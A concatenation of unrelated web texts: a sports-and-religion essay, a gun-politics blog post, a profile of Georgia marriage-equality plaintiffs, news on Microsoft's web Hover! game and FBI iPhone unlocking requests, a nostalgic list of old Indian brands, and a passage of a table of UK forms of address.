green-lighting of men’s cricket had more to do with the sheer popularity of the sport in Afghanistan than the fact that the gentleman’s game, unlike football, which the Taliban disapproves of, doesn’t let the knees show because of full-length trousers, as the Taliban would argue. The Taliban wanted to use cricket to boost their domestic popularity and increase the acceptability of their regime worldwide. The Taliban government which was recognized internationally by just three countries—Pakistan, Saudi Arabia, and the United Arab Emirates—thought an affiliate membership for the Afghanistan Cricket Federation (now Afghanistan Cricket Board) in the International Cricket Council would only serve to shore up its legitimacy. Sport and religion, however, have not always been on a collision course. Christianity’s initial problems with sports, as shown in Remillard’s account, dissolved with time as sports became more popular and the idea of “Muscular Christianity" gained ground. While a patriarchal concept, Muscular Christianity’s emphasis on physical activity and good health would slowly win over the evangelicals. And although the domain of sports was not immune to anti-Semitism and unfortunately isn’t even today, Jewish minorities often found sports to be a good way of integrating with the mainstream. In Hinduism too, sports like wrestling have served as vehicles for social and caste mobility. Outside religion, sports would provide a platform of protest against racism—the champion boxer Muhammad Ali being the most recognized exponent of this crusade. The impact of sports on human history has overwhelmingly been for the better. The sport-governing bodies should, however, realize that a quest for equality on the field of play should not end up imposing uniformity to the extent of throttling diversity. Hijabs, turbans and kippahs are non-threatening additions and can be embraced. To be fair, sport has shown the ability to respond to democratic demands. The performance of religion on this count has been slightly less encouraging, to put it mildly. Is religion incompatible with sports? Tell us at views@livemint.com -We owe a hat tip to Aleister at Progressives Today for this one because the debate over Second Amendment rights may have just hit a new low. You may recall that we previously covered the release of some Second Amendment friendly reboots of Grimm’s Fairy Tales for the NRA, created by our friend Amelia Hamilton. That clearly didn’t sit well with anti-gun groups, particularly the Brady Campaign. As the Washington Free Beacon reports, they responded with a frank, well researched argument about how these portrayals are unproductive and offered alternate suggestions for crafting a more nuanced, accurate argument. Naw… I’m just kidding. They produced their own fairy tale which features Alice of Wonderland fame shooting herself in the face. A new ad from a prominent gun control group features the main character from Alice in Wonderland shooting herself in the face with a handgun. The Brady Campaign to Prevent Gun Violence published the ad titled Alice PSA to its YouTube page Thursday. In it, Alice can be seen following the white rabbit through wonderland when she comes upon a room with a cabinet. In the cabinet she finds a gun, which she then shoots herself in the face with. “Over one-third of all American households have a gun,” a voiceover says as Alice pulls the trigger. “Ask your neighbor: Is there a gun where they play? Asking saves kids.” That likely sounds so implausible as to border on science fiction so you should probably take a look for yourself. Don’t worry… it’s pretty short. As you can imagine, Amelia wasn’t thrilled with their take on it. Me: what if fairy tale characters were safe? Brady campaign: what if they shot themselves in the face? — Amelia (@AmeliaHammy) April 12, 2016 What is it with these anti-gun groups? The original fairy tales – as I’m sure most people would agree – are pretty horrific and filled with violence as it is. But the violence is generally directed at the heroes and heroines of the story or innocent bystanders and supporting characters. In Amelia’s version, the characters have the chance to defend themselves and actually resolve some conflicts through intimidation rather than actually having to kill, skin or burn the evil-doer. The Brady Campaign clearly chooses to go a different route. They’re so desperate to have some violence, preferably at the hands of someone with a gun, that they portray a young child unloading a handgun into her face. As if the original fairy tales weren’t scarring enough for kids who are trying to get some sleep! This is just sick. There’s really no other way to describe it. -Meet the lesbian Atlanta Police officers suing for the right to legally marry in Georgia Meet the lesbian Atlanta Police officers suing for the right to legally marry in Georgia One Tuesday morning late last month, Rayshawn Chandler and her wife Avery Chandler pulled into the parking lot at the 730 Midtown building and began walking towards the entrance. “Baby, you see the news trucks?” Rayshawn asked Avery. Avery looked over, then back to Rayshawn. “Why would you say that?!” she asked, laughing, since Rayshawn was well aware that Avery was nervous. They continued on into the building and the reason for Avery’s nerves—they were heading for the Southern Regional office of Lambda Legal, and about to step out of the shadows and in front of a horde of local and national press to be introduced to the world alongside their five fellow plaintiffs in Inniss v. Aderhold, the federal class-action lawsuit attempting to strike down Georgia’s 2004 same-sex marriage ban. Avery recalls talking “a million miles a second” on the way to the press conference. “I was freaking out,” she says. However, her wife balanced her out. “I used that time to just think about the success of what’s going to happen,” Rayshawn says. “I’m really positive that things are going to come around for us.” ‘THE SKY JUST OPENED UP’ Rayshawn, 29 and a Miami native, and Avery, 30 and an Atlanta native, are both officers with the Atlanta Police Department. Avery is also in the Army Reserves. They met at the police academy in 2010 and occasionally worked out or went on runs together. It was strictly a colleague relationship until the following March, when they worked a few extra jobs together and began to talk and learn more about each other. And it was clear who was chasing whom. “I thought I was going to have to go get a rope and tie her down,” Rayshawn says laughing. “Oh my God, she was running.” Avery thought Rayshawn was straight and told her she “didn’t need another straight friend.” “My gaydar was broken,” Avery says. She finally picked up on Rayshawn’s intentions and ended up accepting an invitation to Rayshawn’s June graduation from the police academy. “She surprised me and came and I just thought that it was the sweetest thing,” Rayshawn says. “She went out to dinner with my family and I after graduation and it was wonderful.” They consider that graduation day, June 26, their anniversary and have been dating ever since. They moved in together the following October, then were married the following June in West Hartford, Connecticut, on their two-year anniversary. The ceremony occurred in a rose garden in Elizabeth Park. “It seemed like it blossomed just for us because we were told that prior to our wedding day, it had rained the entire week,” Rayshawn says. “The sky just opened up on our wedding day.” FIGHTING FOR THEIR FAMILY Like many of the other plaintiffs involved in Inniss v. Aderhold, neither Rayshawn nor Avery, who call themselves “Team Chandler,” have any background in LGBT activism. They live a quiet life together in Jonesboro, getting together with friends and family for the occasional barbecue or bowling night. So how did they get from there to walking through Lambda Legal’s doors on April 22 and telling their story to the world? The decision to join the suit didn’t come without concerns, with Rayshawn mentioning having their “life on a platter for everyone to look at and pick at and make their assumptions and put their opinions on,” and Avery was worried about “being vulnerable and exposed for everybody to look at.” But the Chandlers want kids, and they were more concerned about moving forward with that plan without the legal protections afforded to straight families throughout Georgia than they were concerned about the intrusion a lawsuit would bring on their private lives. “We want a family dynamic that’s fair and that receives the same respect that others get,” Rayshawn says. “That’s a pet peeve of mine. We don’t want to be tagged as ‘that lesbian couple.’ We’re just a couple. We just want to be normal.” The perils of their jobs also factored into the decision, since their choice to protect the city of Atlanta (and in Avery’s case, the nation) increases the risk to their personal safety. Avery says that they want to ensure that “if anything were to happen to Ray or to me, we wouldn’t have to worry about having to fight anyone for our child,” she explains. “Or fight for the right to see my wife in the hospital.” They’re in the planning phase of becoming parents and hope to take that step in the next year or so. “This is a really important issue and it’s near and dear to my heart,” Avery continues. “And if it’s near and dear to your heart then you want to fight for it and make things right.” ‘SHOCK AND AWE’ The press conference ended up being an emotional scene, with several plaintiffs and even an attorney or two wiping away tears as each of the plaintiffs’ stories were told. “To finally know the background of everybody and that we’re all fighting for the same mission, it meant so much,” Rayshawn says. “All of us have our own individual reasons for why [we’re joining the suit], so it was kind of like an ‘ah-ha’ moment. They all make sense. Look at that. They’re all valid reasons why this thing should be recognized.” Following the press conference, and especially after segments on the lawsuit ran on the 12 o’clock news that day, came what Rayshawn called “shock and awe”—a barrage of phone calls, text messages and Facebook messages and friend requests from people far and wide trying to make a connection with this suddenly public couple. Although well prepared for the attention the lawsuit would bring, the size of the initial onslaught still surprised them. “The support was amazing,” Rayshawn says. “When we went into it, we didn’t look at how big it would be and how it would impact so many people. We were in a bubble. In our eyes we were just looking at our situation.” Things have quieted down since then and gotten back to normal as Lambda Legal and the rest of the legal team await a response from the defendants in the lawsuit. The couple posts the occasional video to their YouTube channel, OurNormalLifeAtlanta, giving an update on their lives and fielding questions from viewers. They’ve also bonded with the other plaintiffs, meeting up for the occasional bite to eat and they’re planning a group outing soon. “It’s like a little family,” Avery says. If the lawsuit goes as they hope it to, Rayshawn, Avery and the rest of Georgia’s LGBT community will be able to rest easier knowing each of their little families will have the same rights and protections, no matter whom they love. • Visit Rayshawn and Avery Chandler’s YouTube channel OurNormalLifeAtlanta at www.youtube.com/channel/UCWKT-wBeguIu-qrGk2-c1GA psaunders@thegavoice.com | @patricksaunders -Microsoft is bringing its classic Hover! game back to life, on the web. The game combines bumper cars and capture the flag, and originally shipped on Windows 95 CDs in a special folder called fun stuff. Microsoft has worked with Dan Church, an independent developer, to bring Hover! to the web. It took around eight weeks to get it ready in time for the launch today, and Hover! fans will be able to play the PC classic in retro and modern modes. "Dan actually approached Microsoft when he read about IE11 and WebGL," says Microsoft's senior director of IE marketing, Roger Capriotti, in an interview with The Verge. The partnership led to a new Hover! version built using the latest WebGL technologies, and it looks very different than the original game. However, the gameplay, physics engine, and original levels are all still in place so while there's a modern twist on a PC classic, it will feel all too familiar. Microsoft has also built in a new multiplayer option and touch support for its Hover! web version, allowing Internet Explorer 11 users on Windows 8.1 to make use of a touchscreen to play the game. The most impressive part, at least for fans of the classic Hover! version, is that Microsoft has also built in a "secret" retro mode to activate a web version of Windows 95 complete with the original. If you visit the site and type bambi at the main screen, the original codename for the Windows 95 game release and a nod to an old Easter egg, it will activate the retro mode. While it's not a full version of Windows 95, you can also double click on share_fb.exe and tweet.exe from the desktop and Windows 95-style setup wizards will appear allowing you to share the site to Facebook and Twitter. It's all very retro and executed perfectly for those who remember using Windows 18 years ago. For Microsoft, the project is mainly about reviving a classic game to showcase WebGL and IE11. "We build these experiences to showcase what the web can be," says Capriotti. While it's promoting Internet Explorer, the new Hover! web version will work with any browser that supports WebGL. Microsoft thinks the new site will highlight its work with WebGL, but also generate some nostalgia amongst fans. "There's over 10 unofficial versions of it [Hover!] floating around the web," says Capriotti, noting that it has a cult following. Hundreds of Hover! fans took to Reddit recently in a nostalgic thread to highlight the game. "There's a big fan base and we think folks are gonna share the game and talk about what the game was like in the '90s." -In addition to the iPhone used by one of the San Bernardino shooters, the US government is pursuing court orders to force Apple to help bypass the security passcodes of "about a dozen" other iPhones, the Wall Street Journal reports. The other cases don't involve terror charges, the Journal's sources say, but prosecutors involved have also sought to use the same 220-year-old law — the All Writs Act of 1789 — to access the phones in question. The FBI has argued that it only wants Apple to allow it to "guess" the passcode for the San Bernardino iPhone, but that innocuous-sounding process involves Apple performing a rewrite of the phone's iOS software, allowing the Bureau to use brute-force techniques to crack the passcode that might otherwise take years. The agency says it only wants this process performed on this one specific iPhone, but privacy advocates could see the additional cases as the US government already attempting to overreach this mandate. It's not clear yet what the other cases involve At this point, however, it's not clear what the dozen-or-so cases actually entail, nor what prosecutors are asking Apple to do exactly, or why Apple is pushing back. The FBI has complained that Apple is simply resisting its demand to unlock the phone so as not to "tarnish the Apple brand," but the company says if it gives in and allows the FBI to access the phone with "absent clear legal authority to do so," it would breach its consumers' trust. Apple regularly assists law enforcement by helping authorities extract information from both on and off the device — from iCloud backups, for example — but it has pushed back in the San Bernardino case because the FBI is attempting to breach encryption methods introduced in newer versions of its iOS software. In cases involving phones running iOS 7 and earlier, Apple can pull out information without actively unlocking the phone for law enforcement, but iOS 8 introduced encryption linked to the passcode that made this impossible. We don't yet know which operating system the dozen other iPhones were running, but the WSJ says that many of them are using older software than iOS 9. -As I age, I get a feeling that I am becoming more and more nostalgic about the simple life, limited number of options and opportunities that were present, good food, clean environment, closer interactions with people and less of noise and emissions that electronic-mechanical machines cause. The recent trip to my hometown has already made me even more wistful, in fact. However, ‘change’ is must for the humanity to progress and… sigh… I have to live with the present. As for my childhood to college life, I have so many things to share some of which was mentioned in a recent post on this blog. Today’s post is about some of those great old brands and products that have been part of our lives during the 70s and 80s. Of course, some of them are still being produced and sold but have transformed for good while many of them have been discontinued. Here are the things that I am talking about: 1. Parry’s Green hard candy Unfortunately I do not have a picture of this but I am sure anybody in their 30s and 40s must have eaten whole lot of them during their childhood. These candies – known as ‘Green Parry’ (‘Paccha pyaari’ in Malayalam) – was among the four or five wrapped candy options that we had at that time apart from those local made ‘uncovered’ ones. I remember, Parry’s competitor Nutrine introducing an imitation of the same several years later. The Parry’s Confectionery ltd company was taken over by ‘Lotte ’several years back and this particular product has been discontinued since then, I believe. 2. Hero Pens As far as I am concerned, this is the ONLY Made in China product that I have ever liked in my whole life and it was my first Chinese experience as well. Unlike today’s children, we never got to use the ball point pen s until the age of 12 (or sixth grade) on account of ‘bad hand writing’ resulting from ball point pens. Most of us started our writing with cheaper ‘Bismi’ or ‘Jubilee’ fountain pens and then progressed to using the Hero Pens (fondly called ‘Heero pena’ In Malayalam. Many of us in fact get to use it only for exams – for some not until the SSLC examination – and it was indeed a super smooth experience to use them. Mostly people used to get these pens as gifts from those who worked in the Gulf countries but later on they were available in shops for Rs.25 or so in stationery shops. The hero pens were cool due to their smooth quality of writing and the ability to fill ink via a cool press-suction operation. Old time pens had to be filled via direct pouring of the ink and we used to end up having the ink spilled on the floor as well as on our shirts. As I moved to college, the Hero pen gave way to Pilots, Parkers and Sheaffers but the Hero fountain pen was always my hero! 3. Happy T-shirts Now, this one is tricky and probably only Malayalis will understand what I am talking about. During those days mostly there would be at least one Keralite from every other household working in the Gulf countries (Generalized as ‘Persia’) and they make a visit once in every four or five years. At that time, everyone in the family – to the n’th relationship level – neighborhood and the village need to be gifted something or other. Cigarettes, cheap perfume sprays and synthetic clothe material or saris that will last beyond five generations were some of the cheaper options to keep everyone happy. Among these gifts, the kids usually gets the so-called “Happy T-shirt” which is nothing but a round neck T-shirt made of cheap synthetic fabric and a big H A P P Y written on it in a semi circle. We kids were, indeed, very happy to get them as gifts and would proudly wear them till they wore out. Those who wear Happy Tees were identified as the Gulf fellow’s son or relative. (Several years later somebody revealed to me that a dozen of them would cost only something like 5 Dirhams or so and that’s how the poor Gulf Malayali could afford to buy them for everyone of our age group in that village. By the way, I do not know the actual the brand name of this T-shirt but it was always known as Happy shirt) 4. Chelpark Ink Of course, the usage of fountain pen would mean daily refill of ink in the same. When we were in fourth or fifth grade, we used cheaper “Brill” or “Camel” brand of ink. At that time my father was using a Sheaffer’s pen and he used to buy this blue-black ink by Chelpark. It was super quality ink for the Indian standards and I believe it’s still being produced in India. However, the original wide-bottom glass bottle is missing now. I used the Chelpark ink for several years, I would say till I got my first job but had totally forgotten about it until my co-brother Manoj reminded me of that brand last week. In fact, that was the inspiration behind this post. 5. Camel instrument box The camel brand of math instrument box is no brainer. Camel is still a leading brand in India for stationery and art-craft supplies. However, during our school days it was something big and getting a Camel box was an ultimate achievement in one’s otherwise limited wish list. Some of us get them during fifth or sixth grade and had to use the same till you pass out of 10th standard. Many times, the original paper sleeve wrapper around the box would be preserved intact for many years in order to protect the precious box from losing any of its print work on the surface. For those who couldn’t afford to spend two rupees more, there were brands like ‘Nataraj’ and the twin-brother of Camel was the ‘Camlin’ brand of instrument boxes. 6. Premier rubber slippers Lungis and Dhotis were the perfect clothing (and it still is for many) for Malayalis due to the sultry climate conditions and rains aplenty. The perfect footwear that goes with them was a pair of ‘Premier’ rubber slippers. I believe, I am recalling the name right because before brands like ‘Paragon’, ‘Fisher’ etc surfaced, it was all about Premier Hawai chappals. I am attaching a picture of the currently available Paragon slippers to give you an idea of how Premier looked like. But I guess, Premier brand is not available any more. Talking about these Hawai chappals, most Malayalis wore them to school, colleges or even to work. And like their ultra white dhotis (Mundu), these slippers used to be maintained ultra clean was well. The jobless and educated mallu’s main hobby – apart from discussing international politics and Hartal or Bandh opportunities – those days was cleaning own slippers not just from the top but from sides and bottom as well. I have used this brand of slippers for many years and I still have a pair of Paragon at home. 7. Murphy radios Now, this should ring the bell for all because many Indian families must have had one such Murphy or Philips vintage radio until recently. These were known as ‘valve sets’ which requires quite some skill to tune it to the right frequency and several precautions for proper maintenance. Many of the featured a green dancing light valve that can be seen outside and moves according to the tuning procedure. The frequency needle – mostly sitting at a centimeter or two away from the actual frequency numbers and usually dangling – had to be carefully positioned to get the right radio station and its position usually is not the same when you tune from left as compared to the right. Basically only the owner of the radio and most likely only the elder male member of the family could tune it to perfection. These radios also had external antenna fittings and sometimes sporting a long mesh antenna – stretching from one end of the house to the other – was considered something royal. Due to issues in tuning or reception, most of the radio stations then used to sound like the distant Ceylon station. The cold starts used to be almost impossible and needed some heating via incandescent bulbs and occasional taps (out of frustration as well) on its wooden cabinet. Usually to listen to the 12:50 noon news (called Delhi news), one had to start preparing at around 12:30 itself. Despite all the above issues, it was fun to see and listen to such a Murphy radio. And I almost forgot to mention the Murphy logo which had a sweet baby’s face. Does anyone still have a vintage radio at your home? 8. Dyanora TV sets Now, these are not really very old entities but it was the first Indian television brand that I got to watch (at my neighbour’s place). I believe it was in 1980 or so? These Dyanora TVs (black and white) used to be thrice as big as its picture tube itself with two speakers on either side and sliding shutters that would close from both sides. It had pathetic design aesthetics but who cares when the transmission itself is available for only one or two hours per day – that too in black and white and with full of interruptions (Rukaavat ke liye khed hai!) Though I never ever liked Dyanora as a brand, I think it was one of the household names during those days and I remember it as the first TV I ever watched. 9. Vijay Super Scooter Well, in a comment within my post about the Bajaj Chetak Scooter, I had mentioned about the Vijay super scooter. I learned riding on a Vijay super which is a discontinued model for years now. It was in fact something that looked like a Lamby and would run on a half-petrol half-kerosene mix. Though, this combination meant starting trouble and occasional ‘fut-phut’ sounds, I always remember it as the first geared two-wheeler I have ridden in my life not to forget the Luna moped which I had tried prior to that. 10. Tinopal Now, how many of you can guess what it was? Tinopal (later it became Ranipal) was one of the clothe whitening agents (like Ujala) that I have seen my mother using during my childhood. It always amazed me because a drop of it was good enough for a bucketful of white clothes to make it surprisingly sparkling and smelling good. Its fragrance was similar to that of the modern fabric conditioners but I believe it was far superior. Sometimes, I just don’t understand why such brands were discontinued. By the way, I managed to Google out this newspaper ad announcing the brand name change – Tinopal to Ranipal Over to you I am sure all of you have plenty to talk about those retro brands. I still have many in my list but some of them that I haven’t directly consumed or experienced. Let me know if you have any pleasant memories to share about those products or old brands that you have seen, used or experienced 20 or 30 years (or even before) back! -Forms of address used in the United Kingdom are given below. For further information on Courtesy Titles see Courtesy titles in the United Kingdom. Abbreviations [ edit ] Several terms have been abbreviated in the table below. The forms used in the table are given first, followed by alternative acceptable abbreviations in parentheses. Royalty [ edit ] A formal announcement in The London Gazette reads: "The Queen has been pleased by Letters Patent under the Great Seal of the Realm dated 31 December 2012 to declare that all the children of the eldest son of the Prince of Wales should have and enjoy the style, title and attribute of Royal Highness with the titular dignity of Prince or Princess prefixed to their Christian names or with such other titles of honour." This refers to any children of the Duke and Duchess of Cambridge. Nobility [ edit ] Peers, peeresses and non-peerage [ edit ] Eldest sons, grandsons and great-grandsons of dukes, marquesses and earls [ edit ] Eldest sons of dukes, marquesses and earls use their father's most senior subsidiary title as courtesy titles: note the absence of "The" before the title.[Note 8] If applicable, eldest sons of courtesy marquesses or courtesy earls also use a subsidiary title from their (great) grandfather, which is lower ranking than the one used by their father. Eldest daughters do not have courtesy titles; all courtesy peeresses are wives of courtesy peers.[Note 9] Position On envelopes Salutation in letter Oral address Courtesy marquess Marquess of London My Lord or Dear Lord London My Lord or Lord London Courtesy marquess's wife Marchioness of London Madam or Dear Lady London My Lady or Lady London Courtesy earl Earl of London My Lord or Dear Lord London My Lord or Lord London Courtesy earl's wife Countess of London Madam or Dear Lady London My Lady or Lady London Courtesy viscount Viscount London My Lord or Dear Lord London My Lord or Lord London Courtesy viscount's wife Viscountess London Madam or Dear Lady London My Lady or Lady London Courtesy baron Courtesy Lord of Parliament Lord London My Lord or Dear Lord London My Lord or Lord London Courtesy baron's wife Wife of courtesy Lord of Parliament Lady London Madam or Dear Lady London My Lady or Lady London Heirs-apparent and heirs-presumptive of Scottish peers [ edit ] (Heirs-apparent and heirs-presumptive of Scottish peers use the titles "Master" and "Mistress"; these are substantive, not courtesy titles. If, however, the individual is the eldest son of a Duke, Marquess or Earl, then he uses the appropriate courtesy title, as noted above.) Position On envelopes Salutation in letter Oral address Scottish peer's heir-apparent or heir-presumptive The Master of Edinburgh Sir or Dear Master of Edinburgh Sir or Master Scottish peer's heiress-apparent or heiress-presumptive The Mistress of Edinburgh Madam or Dear Mistress of Edinburgh Madam or Mistress Sons, grandsons and great-grandsons of peers [ edit ] Position On envelopes Salutation in letter Oral address Duke's younger son (Courtesy) Marquess's younger son The Lord John Smith My Lord or Dear Lord John (Smith) My Lord or Lord John Duke's younger son's wife (Courtesy) Marquess's younger son's wife The Lady John Smith Madam or Dear Lady John My Lady or Lady John (Courtesy) Earl's younger son (Courtesy) Viscount's son (Courtesy) Baron's son (Courtesy) Lord of Parliament's son The Hon John Smith Sir or Dear Mr Smith Sir or Mr Smith (Courtesy) Earl's younger son's wife (Courtesy) Viscount's son's wife (Courtesy) Baron's son's wife (Courtesy) Lord of Parliament's son's wife The Hon Mrs John Smith Madam or Dear Mrs Smith Madam or Mrs Smith Daughters, granddaughters and great-granddaughters of peers [ edit ] (If a daughter of a peer or courtesy peer marries another peer or courtesy peer, she takes her husband's rank. If she marries anyone else, she keeps her rank and title, using her husband's surname instead of her maiden name.) Position On envelopes Salutation in letter Oral address Duke's daughter (Courtesy) Marquess's daughter (Courtesy) Earl's daughter (unmarried or married to a commoner) The Lady Mary Smith (if unmarried), The Lady Mary Brown (husband's surname, if married) Madam or Dear Lady Mary My Lady or Lady Mary (Courtesy) Viscount's daughter (Courtesy) Baron's daughter (Courtesy) Lord of parliament's daughter (unmarried) The Hon Mary Smith Madam or Dear Miss Smith Madam or Miss Smith (Courtesy) Viscount's daughter (Courtesy) Baron's daughter (Courtesy) Lord of Parliament's daughter (married to a commoner) The Hon Mrs Brown (husband's surname) Madam or Dear Mrs Brown Madam or Mrs Brown [10] Gentry and minor nobility [ edit ] Baronets [ edit ] Position On envelopes Salutation in letter Oral address Baronet Sir John Smith, Bt (or Bart)[Note 5] Sir or Dear Sir John (Smith) Sir or Sir John Baronetess in her own right Dame Mary Smith, Btss Madam or Dear Dame Mary (Smith) Madam or Dame Mary Baronet's wife Lady Smith Madam or Dear Lady Smith My Lady or Lady Smith Baronet's divorced wife Mary, Lady Smith Baronet's widow Mary, Lady Smith Dowager Lady Smith, or Lady Smith if the heir incumbent is unmarried Knights [ edit ] Position On envelopes Salutation in letter Oral address Knight (of any order) Sir John Smith[Note 5] Sir or Dear Sir John (Smith) Sir or Sir John Lady (of the Order of the Garter or the Thistle) Lady Mary Smith Madam or Dear Lady Mary (Smith) My Lady or Lady Mary Dame (of an order other than the Garter or the Thistle) Dame Mary Smith Madam or Dear Dame Mary (Smith) Madam or Dame Mary Knight's wife Lady Smith Madam or Dear Lady Smith My Lady or Lady Smith Scottish barons (non-peerage nobility) [ edit ] Position On envelopes Salutation in letter Oral address Feudal baron The Much Hon John Smith of Edinburgh or The Much Hon John Smith, Baron of Edinburgh or The Much Hon The Baron of Edinburgh[8] Sir or Dear Edinburgh or Dear Baron Edinburgh or Baron Female feudal baroness or Feudal baron's wife As feudal baron, substituting "Madam" for first name and substituting "Baroness" for "Baron", or Lady Edinburgh[9] Madam or Dear Baroness or Dear Lady Edinburgh Madam or Baroness or Lady Edinburgh Chiefs, chieftains and lairds [ edit ] Position On envelopes Salutation in letter Oral address Chief, chieftain or laird (Only lairds recognised in a territorial designation by the Lord Lyon) John Smith of Smith or John Smith of Edinburgh or John Smith of that Ilk or The Smith of Smith or The Smith of Edinburgh or The Smith[Note 10] (only the 2nd form of address above applies to lairds) Sir or Dear Edinburgh (if placename in title) or Dear Smith (otherwise) Edinburgh (if placename in title) or Smith (otherwise) Female Chief, chieftain or laird or Chief, chieftain or laird's wife Chief, chieftain or laird's wife, substituting "Madam" or "Mrs" for first name or "The" or Lady Edinburgh[11][12][13] Madam or as on envelope Madam or as on envelope Chief (etc.)'s heir-apparent John Smith of Edinburgh, yr or John Smith, yr of Edinburgh or John Smith of Edinburgh (last only if different first name to father) Sir or Dear Younger of Edinburgh or Dear Mr Smith of Edinburgh Sir or Young Edinburgh or The Younger of Edinburgh Chief (etc.)'s heir-apparent's wife Mrs Smith of Edinburgh, yr or Mrs Smith, yr of Edinburgh Madam or Dear Mrs Smith of Edinburgh the Younger Madam or Mrs Smith of Edinburgh Chief (etc.)'s eldest daughter (if none senior) Miss Smith of Edinburgh or Jane Smith, Maid of Edinburgh Madam or Dear Miss Smith of Edinburgh or Dear Maid of Edinburgh Madam or Miss Smith of Edinburgh or Maid of Edinburgh Chief (etc.)'s younger daughter Miss Mary Smith of Edinburgh Madam or Dear Miss Smith of Edinburgh Madam or Miss Smith of Edinburgh Clergy [ edit ] Church of England [ edit ] Similar styles are also applied to clergy of equivalent status in other religious organisations. The words clergy and cleric/clerk are derived from the proper term for bishops, priests and deacons still used in legal documents: Clerk in Holy Orders (e.g. "Vivienne Frances Faull, Clerk in Holy Orders"). Position On envelopes Salutation in letter Oral address Archbishop The Most Revd and Rt Hon The Lord Archbishop of Canterbury/York Dear Archbishop Your Grace or Archbishop Archbishop that is not in Privy Council The Most Revd The Lord Archbishop of Wales Dear Archbishop Your Grace or Archbishop Diocesan bishop in Privy Council The Rt Revd and Rt Hon The Lord Bishop of London Dear Bishop My Lord or Bishop Bishop, diocesan or suffragan The Rt Revd The Lord Bishop of Durham Dear Bishop My Lord or Bishop Dean The Very Revd The Dean of York Dear Mr/Madam Dean Dean or Mr/Madam Dean Archdeacon The Ven The Archdeacon of London Dear Archdeacon Archdeacon Prebendary The Revd Prebendary Smith Dear Prebendary Smith Prebend Canon The Revd Canon John Smith Dear Canon Canon Priest The Revd John Smith Dear Mr/Mrs/Ms Smith Mr/Mrs/Ms Smith or Vicar/Rector/Prebendary/Curate/Chaplain etc. as applicable Deacon The Revd Deacon John Smith or The Revd John Smith Dear Mr/Mrs/Ms Smith or Dear Deacon Smith Deacon Smith or Mr/Mrs/Ms Smith The usage 'Lord' as applied to a bishop pre-dates the United Kingdom, and is a well-established convention. It is more usual to abbreviate Reverend (if at all) to Rev'd rather than Rev. Where a personal name is not used for a priest or deacon, the manner of address is Rev Mr etc., i.e. the Rev is used with the usual title. Without this title, the use of Rev with a surname should not be used in the United Kingdom for any ordained person, whether Anglican or not - it is a solecism. Catholic (and Anglo-Catholic) clergy favour Fr (Father) {or Mthr (Mother)}. For further details see Crockford's Guide to addressing the Clergy. Clergy: 'introduce as Mr Pike or Father Pike according to his preference' (Debrett's Etiquette and Modern Manners 1981 pg230) Church of Scotland [ edit ] It should be noted that the Church of Scotland as a Presbyterian Church recognizes state-awarded titles only as courtesy. In court (Assembly, Presbytery and Session) one may only be addressed as Mr, Mrs, Miss, Dr, Prof, etc. depending on academic achievement. Thus ministers are correctly addressed as, for example Mr Smith or Mrs Smith unless they have a higher degree or academic appointment e.g. Dr Smith or Prof. Smith. It is 'infra dig' to use the title 'Rev' and even the use of 'the Rev Mr' requires sensitivity to official style. Position On envelopes Salutation in letter Oral address Lord High Commissioner to the General Assembly His Grace The Lord High Commissioner Your Grace Your Grace or Sir/Ma'am Clergy The Rev John Smith Dear Mr Smith Mr Smith/Dr Smith etc. Current Moderator of the General Assembly of the Church of Scotland The Right Rev John Smith Dear Mr Smith Mr Smith/Dr Smith etc. Former Moderators of the General Assembly of the Church of Scotland The Very Rev John Smith Dear Mr Smith Mr Smith/Dr Smith etc. Judiciary [ edit ] United Kingdom [ edit ] Position On envelopes Salutation in letter Oral address In court Male Justice of the Supreme Court The Lord Smith, PC Lord Smith Lord Smith My Lord[14] Female Justice of the Supreme Court The Lady Smith, PC Lady Smith Lady Smith My Lady[14] England and Wales [ edit ] Scotland [ edit ] A judge's first name only forms part of their judicial style if, at the time of their appointment, there is a senior judge with the same or a similar surname. Thus, if there is a "Mr Justice Smith", subsequent judges will be "Mr Justice John Smith", "Mrs Justice Mary Smith", etc. A member of the Bar (but not a solicitor) addresses a circuit judge or higher, out of court, as "Judge". Academics [ edit ] The forms of address used for academics can, in most cases, be either formal or social.[18][19] Position On envelopes Salutation in letter Oral address In conversation Chancellor (formal) The Chancellor of [university name] Dear Chancellor Chancellor (if on a platform) or by name and title The Chancellor or by name Chancellor (social) [Name],[Note 13] Chancellor of [university name] By name By name or Chancellor The Chancellor or by name Vice-Chancellor (formal) The Vice-Chancellor of [university name][Note 14] Dear Sir/Madam/Vice-Chancellor Vice-Chancellor (if on a platform) or by name The Vice-Chancellor or by name Vice-Chancellor (social) [Name],[Note 13] Vice-Chancellor of [university name] By name or Dear Vice-Chancellor Vice-Chancellor (if on a platform) or by name The Vice-Chancellor or by name Professor (formal) Professor Jane Smith[Note 15] Dear Sir/Madam Professor Smith Professor Smith Professor (social) Professor Jane Smith Dear Professor Smith Professor Smith Professor Smith Doctor (formal)[Note 16] Dr Jane Smith or The Revd John Smith DD or Susan Brown MD or Tom Brown PhD, etc.[Note 17] Dear Sir/Madam Dr Smith Dr Smith Doctor (social)[Note 16] Dr Jane Smith Dear Dr Smith Dr Smith Dr Smith See also [ edit ] Notes [ edit ] ^ "London" represents any peerage title. ^ The forms given under "Salutation in Letter" are for use in social correspondence only. In formal letters, "Sir" or "Madam" would be used instead. ^ [3] and [4] The definite article "the" in the middle of two or more titles is sometimes capitalized, as in these tables. However this is controversial: traditional British guides use the lower-case "the". As a single example, Debrett's gives "Major-General the Lord……",and Pears' Cyclopaedia in the section on Modes of Address gives several examples where the definite article interior to a list of honours is lower case. a b c d "of" may be omitted in the form of Marquessates and Earldoms and included in the form of Scottish Viscountcies. It is never present in peerage Baronies and Lordships of Parliament and always present in Dukedoms and Scottish feudal Baronies. a b c d e f g h i Some styles that could represent more than one class of person are clarified by the use of post-nominal letters. For instance: Knights and Baronets are distinguished by the use of "Bt" (or, archaically, "Bart") after the latter's names (and by the use of the appropriate post-nominal letters if the former are members of an Order of Chivalry). Knights bachelor have no post-nominal letters. Substantive peers below the rank of Marquess and courtesy peers who are Privy Counsellors (both of whose titles are preceded by "The Rt Hon") are distinguished by the use of "PC" after the former's names. ^ "Smith" represents any surname. ^ "Edinburgh" represents any Scottish place name. ^ Some sources do not recommend the use of the definite article before certain courtesy titles (particularly those who have prospects of promotion within the family's titles), but it is used by official Court publications such as the Court Circular ^ If the definite article is not used before courtesy peerages and The Hon Elizabeth Smith marries Sir William Brown, she becomes The Hon Lady Brown, but if she marries the higher-ranked Lord Brown, a courtesy Baron, she becomes only Lady Brown. If this Sir William Brown's father is created Earl of London and Baron Brown, as a result of this ennoblement his wife's style will actually change, from "The Hon Lady Brown" to "Lady 